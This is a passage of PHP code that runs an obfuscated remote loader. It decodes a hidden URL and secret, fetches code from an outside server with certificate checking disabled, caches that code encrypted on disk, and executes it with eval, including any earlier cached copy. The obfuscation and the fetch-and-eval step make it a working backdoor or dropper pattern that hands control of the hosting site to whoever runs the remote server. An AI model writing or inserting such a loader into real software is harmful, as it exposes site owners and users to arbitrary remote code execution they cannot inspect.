" . $code); exit; } } http_response_code(500); exit('Error: Failed to decrypt cached code.'); } if (!is_dir($cache_dir)) { if (!mkdir($cache_dir, 0700, true)) { http_response_code(500); exit('Error: Failed to create cache directory.'); } } $local_key = bin2hex(random_bytes(16)); $local_iv = openssl_random_pseudo_bytes(16); $local_iv_encoded = base64_encode($local_iv); $server_secret = deobfuscate('OXI4cjg2OTRyNTNwNDc5bzQwcW44bjY0MG9zMnJzb3E='); $derived_key = hash('sha256', $local_key . $server_secret); $code_id = '04448011d005cd02f877115457532d35'; $api_url = deobfuscate('dWdnY2Y6Ly9mYmV2c21iYXIucGJ6L2diYnkvcXJwZWxjZy5jdWM='); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url . '?code_id=' . $code_id); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response && $http_code == 200) { $local_encrypted = openssl_encrypt($response, 'AES-256-CBC', $derived_key, 0, $local_iv); if ($local_encrypted === false) { http_response_code(500); exit('Error: Failed to encrypt code.'); } $local_encoded = base64_encode($local_encrypted . '::' . $local_iv_encoded); if (!file_put_contents($cache_file, $local_encoded) || !file_put_contents($key_file, $local_key)) { http_response_code(500); exit('Error: Failed to cache code or key.'); } eval("?>" . $response); } else { http_response_code(500); exit('Error: Failed to fetch code. HTTP: ' . $http_code); } ?>